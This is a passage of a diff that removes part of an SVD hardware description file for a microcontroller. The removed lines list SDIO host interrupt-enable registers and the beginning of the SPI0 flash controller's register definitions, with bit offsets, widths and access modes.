-            <field>
-              <name>HOST_SLC1_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_WIFI_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_BT_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_RX_INFOR</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0HOST_RX_INFOR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_RX_INFOR</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1HOST_RX_INFOR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_LEN_WD</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0HOST_LEN_WD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC_APBWIN_WDATA</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC_APBWIN_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC_APBWIN_CONF</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC_APBWIN_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC_APBWIN_WR</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC_APBWIN_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC_APBWIN_RDATA</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC_APBWIN_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_RDCLR0</name>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0003C044</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_SLC0_BIT7_CLRADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_SLC0_BIT6_CLRADDR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_RDCLR1</name>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0003C1E0</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_SLC1_BIT7_CLRADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLCHOST_SLC1_BIT6_CLRADDR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_INT_ENA1</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT0_INT_ENA1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT1_INT_ENA1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT2_INT_ENA1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT3_INT_ENA1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT4_INT_ENA1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT5_INT_ENA1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT6_INT_ENA1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT7_INT_ENA1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_1TO0_INT_ENA1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_1TO0_INT_ENA1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_0TO1_INT_ENA1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_0TO1_INT_ENA1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_SOF_INT_ENA1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_EOF_INT_ENA1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_START_INT_ENA1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TX_START_INT_ENA1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_UDF_INT_ENA1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TX_OVF_INT_ENA1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID_INT_ENA1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT0_INT_ENA1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT1_INT_ENA1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT2_INT_ENA1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT3_INT_ENA1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_NEW_PACKET_INT_ENA1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_HOST_RD_RETRY_INT_ENA1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_GPIO_SDIO_INT_ENA1</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_INT_ENA1</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT0_INT_ENA1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT1_INT_ENA1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT2_INT_ENA1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT3_INT_ENA1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT4_INT_ENA1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT5_INT_ENA1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT6_INT_ENA1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT7_INT_ENA1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_1TO0_INT_ENA1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_1TO0_INT_ENA1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_0TO1_INT_ENA1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_0TO1_INT_ENA1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_SOF_INT_ENA1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_EOF_INT_ENA1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_START_INT_ENA1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TX_START_INT_ENA1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_UDF_INT_ENA1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TX_OVF_INT_ENA1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID_INT_ENA1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT0_INT_ENA1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT1_INT_ENA1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT2_INT_ENA1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT3_INT_ENA1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_WIFI_RX_NEW_PACKET_INT_ENA1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_HOST_RD_RETRY_INT_ENA1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_BT_RX_NEW_PACKET_INT_ENA1</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOSTDATE</name>
-          <addressOffset>0x178</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16022500</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOSTID</name>
-          <addressOffset>0x17C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000600</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLCHOST_ID</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_CONF</name>
-          <addressOffset>0x1F0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_FRC_SDIO11</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FRC_SDIO20</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FRC_NEG_SAMP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FRC_POS_SAMP</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FRC_QUICK_IN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SDIO20_INT_DELAY</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SDIO_PAD_PULLUP</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_HSPEED_CON_EN</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_INF_ST</name>
-          <addressOffset>0x1F4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SDIO20_MODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SDIO_NEG_SAMP</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SDIO_QUICK_IN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SPI0</name>
-      <description>SPI (Serial Peripheral Interface) Controller</description>
-      <groupName>SPI</groupName>
-      <baseAddress>0x3FF43000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x110</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>SPI0</name>
-        <value>28</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>CMD</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FLASH_PER</name>
-              <description>program erase resume bit  program erase suspend operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_PES</name>
-              <description>program erase suspend bit  program erase suspend operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR</name>
-              <description>User define command enable.  An operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_HPM</name>
-              <description>Drive Flash into high performance mode.  The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_RES</name>
-              <description>This bit combined with reg_resandres bit releases Flash from the power-down state or high performance mode and obtains the devices ID. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_DP</name>
-              <description>Drive Flash into power down.  An operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_CE</name>
-              <description>Chip erase enable. Chip erase operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_BE</name>
-              <description>Block erase enable. A 64KB block is erased via SPI command D8H.  Block erase operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_SE</name>
-              <description>Sector erase enable. A 4KB sector is erased via SPI command 20H. Sector erase operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_PP</name>
-              <description>Page program enable(1 byte ~256 bytes data to be programmed). Page program operation  will be triggered when the bit is set. The bit will be cleared once the operation done .1: enable 0: disable.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_WRSR</name>
-              <description>Write status register enable.   Write status operation  will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_RDSR</name>
-              <description>Read status register-1.  Read status operation will be triggered when the bit is set. The bit will be cleared once the operation done.1: enable 0: disable.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_RDID</name>
-              <description>Read JEDEC ID . Read ID command will be sent when the bit is set. The bit will be cleared once the operation done. 1: enable 0: disable.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_WRDI</name>
-              <description>Write flash disable. Write disable command will be sent when the bit is set. The bit will be cleared once the operation done. 1: enable 0: disable.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_WREN</name>
-              <description>Write flash enable.  Write enable command will be sent when the bit is set. The bit will be cleared once the operation done. 1: enable 0: disable.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FLASH_READ</name>
-              <description>Read flash enable. Read flash operation will be triggered when the bit is set. The bit will be cleared once the operation done. 1: enable 0: disable.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ADDR</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CTRL</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0020A400</resetValue>
-          <fields>
-            <field>
-              <name>FCS_CRC_EN</name>
-              <description>For SPI1  initialize crc32 module before writing encrypted data to flash. Active low.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_CRC_EN</name>
-              <description>For SPI1  enable crc32 when writing encrypted data to flash. 1: enable  0:disable</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WAIT_FLASH_IDLE_EN</name>
-              <description>wait flash idle when program flash or erase flash. 1: enable 0: disable.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTRD_MODE</name>
-              <description>This bit enable the bits: spi_fread_qio  spi_fread_dio  spi_fread_qout and spi_fread_dout. 1: enable 0: disable.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FREAD_DUAL</name>
-              <description>In the read operations  read-data phase apply 2 signals. 1: enable 0: disable.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RESANDRES</name>
-              <description>The Device ID is read out to SPI_RD_STATUS register, this bit combine with spi_flash_res bit. 1: enable 0: disable.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FREAD_QUAD</name>
-              <description>In the read operations read-data phase apply 4 signals. 1: enable 0: disable.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WP</name>
-              <description>Write protect signal output when SPI is idle.  1: output high  0: output low.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WRSR_2B</name>
-              <description>two bytes data will be written to status register when it is set. 1: enable 0: disable.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FREAD_DIO</name>
-              <description>In the read operations address phase and read-data phase apply 2 signals. 1: enable 0: disable.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FREAD_QIO</name>
-              <description>In the read operations address phase and read-data phase apply 4 signals. 1: enable 0: disable.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_BIT_ORDER</name>
-              <description>In read-data (MISO) phase 1: LSB first 0: MSB first</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WR_BIT_ORDER</name>
-              <description>In command address write-data (MOSI) phases 1: LSB firs 0: MSB first</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTRL1</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x5FFF0000</resetValue>
-          <fields>
-            <field>
-              <name>CS_HOLD_DELAY_RES</name>
